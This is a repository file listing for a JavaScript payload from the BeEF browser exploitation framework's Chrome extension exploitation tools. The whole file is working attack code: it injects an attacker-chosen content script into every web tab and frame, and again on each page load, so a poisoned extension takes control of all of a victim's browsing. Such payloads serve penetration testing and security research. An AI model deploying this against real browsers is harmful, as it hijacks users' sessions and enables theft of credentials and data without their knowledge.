Files
beef/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js
Krzysztof Kotowicz 3947bac044 added payloads
2014-03-22 11:28:27 +01:00

24 lines
718 B
JavaScript

// add a /cs.js file to extension and have it run in a content script on every tab
var INJECTOR_CS_PAYLOAD = '/cs.js';
// requires tabs permissions
chrome.tabs.query({}, function (tabs) {
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].url.match('^http')) {
chrome.tabs.executeScript(tabs[i].id, {
allFrames: true,
file: INJECTOR_CS_PAYLOAD});
}
}
}
);
chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
if (changeInfo.status == 'complete' && tab.url.match('^http')) {
chrome.tabs.executeScript(tabId, {
allFrames: true,
file: INJECTOR_CS_PAYLOAD
});
}
});